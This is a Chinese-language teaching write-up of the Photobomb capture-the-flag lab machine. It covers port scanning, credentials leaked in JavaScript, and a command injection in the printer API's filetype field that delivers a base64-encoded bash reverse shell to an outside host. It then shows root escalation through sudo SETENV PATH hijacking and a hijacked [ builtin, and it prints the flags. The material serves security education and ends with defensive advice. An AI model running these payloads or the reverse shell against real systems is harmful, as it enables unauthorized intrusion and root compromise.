[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持
字数 881 2025-08-29 08:30:30

Photobomb靶机渗透测试教学文档

1. 信息收集阶段

1.1 主机发现与端口扫描

ip='10.10.11.182'
itf='tun0'

# 使用nmap进行主机存活检测
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
    echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
    
    # 使用masscan进行快速端口扫描
    ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
    
    if [ -n "$ports" ]; then
        echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
        # 使用nmap进行详细服务扫描
        nmap -Pn -sV -sC -p "$ports" "$ip"
    else
        echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
    fi
else
    echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi

扫描结果:

  • 22/tcp: OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
  • 80/tcp: nginx 1.18.0 (Ubuntu)

1.2 Web服务枚举

  1. 添加hosts记录:
echo '10.10.11.182 photobomb.htb' >> /etc/hosts
  1. 访问网站:http://photobomb.htb/

  2. 查看JS源码发现凭据泄露:

// view-source:http://photobomb.htb/photobomb.js
username: pH0t0
password: b0Mb!

2. 初始访问 - 命令注入漏洞利用

2.1 准备反向Shell

# 编码反向Shell命令
echo -n '/bin/bash -i >& /dev/tcp/10.10.16.31/443 0>&1' | base64

2.2 利用打印机API执行命令

curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' \
-d 'photo=andrea-de-santis-uCFuP0Gc_MM-unsplash.jpg&filetype=jpg;rm /tmp/f;echo+L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjMxLzQ0MyAwPiYx|base64+-d|bash&dimensions=3000x2000'

3. 权限提升 - SETENV路径劫持

3.1 发现特权脚本

发现/opt/cleanup.sh脚本可能以root权限运行

3.2 利用SETENV权限

  1. 创建恶意find命令:
echo -e '#!/bin/bash\n/bin/bash'>/tmp/find
chmod +x /tmp/find
  1. 利用PATH环境变量注入:
sudo -u root PATH=/tmp:$PATH /opt/cleanup.sh

4. 权限提升 - 内建命令劫持

4.1 分析bashrc差异

diff /etc/bash.bashrc /opt/.bashrc

发现/opt/.bashrc禁用了[内建命令

4.2 劫持内建命令

  1. 创建恶意[命令:
echo -e '#!/bin/bash\n/bin/bash'>/tmp/[
chmod +x /tmp/[
  1. 再次利用PATH注入:
sudo -u root PATH=/tmp:$PATH /opt/cleanup.sh

5. 获取Flag

  • 用户Flag:795c713ef76ed21f2748a1b96a83986c
  • Root Flag:c25100ccbba46eaf57b57a61af95abc7

关键知识点总结

  1. JS凭据泄露:前端JavaScript代码中硬编码的凭据是常见的安全问题

  2. 命令注入

    • 通过不安全的参数传递导致命令注入
    • 使用base64编码绕过可能的过滤
    • 通过curl的-d参数传递恶意命令
  3. SETENV路径劫持

    • 当sudo配置允许SETENV时,可以注入环境变量
    • 通过PATH变量前置自定义路径来劫持命令
    • 注意sudo默认使用secure_path,但SETENV可以覆盖
  4. 内建命令劫持

    • bash的内建命令如[可以被同名可执行文件覆盖
    • 当脚本禁用内建命令后,会寻找PATH中的可执行文件
    • 这是一种不常见的提权方式,需要特定环境配置
  5. 防御措施

    • 避免在客户端代码中存储凭据
    • 对用户输入进行严格过滤和验证
    • 限制sudo的SETENV权限
    • 在脚本中使用命令的完整路径
    • 谨慎处理环境变量
Photobomb靶机渗透测试教学文档 1. 信息收集阶段 1.1 主机发现与端口扫描 扫描结果: 22/tcp: OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 80/tcp: nginx 1.18.0 (Ubuntu) 1.2 Web服务枚举 添加hosts记录: 访问网站:http://photobomb.htb/ 查看JS源码发现凭据泄露: 2. 初始访问 - 命令注入漏洞利用 2.1 准备反向Shell 2.2 利用打印机API执行命令 3. 权限提升 - SETENV路径劫持 3.1 发现特权脚本 发现/opt/cleanup.sh脚本可能以root权限运行 3.2 利用SETENV权限 创建恶意find命令: 利用PATH环境变量注入: 4. 权限提升 - 内建命令劫持 4.1 分析bashrc差异 发现/opt/.bashrc禁用了 [ 内建命令 4.2 劫持内建命令 创建恶意 [ 命令: 再次利用PATH注入: 5. 获取Flag 用户Flag:795c713ef76ed21f2748a1b96a83986c Root Flag:c25100ccbba46eaf57b57a61af95abc7 关键知识点总结 JS凭据泄露 :前端JavaScript代码中硬编码的凭据是常见的安全问题 命令注入 : 通过不安全的参数传递导致命令注入 使用base64编码绕过可能的过滤 通过curl的-d参数传递恶意命令 SETENV路径劫持 : 当sudo配置允许SETENV时,可以注入环境变量 通过PATH变量前置自定义路径来劫持命令 注意sudo默认使用secure_ path,但SETENV可以覆盖 内建命令劫持 : bash的内建命令如 [ 可以被同名可执行文件覆盖 当脚本禁用内建命令后,会寻找PATH中的可执行文件 这是一种不常见的提权方式,需要特定环境配置 防御措施 : 避免在客户端代码中存储凭据 对用户输入进行严格过滤和验证 限制sudo的SETENV权限 在脚本中使用命令的完整路径 谨慎处理环境变量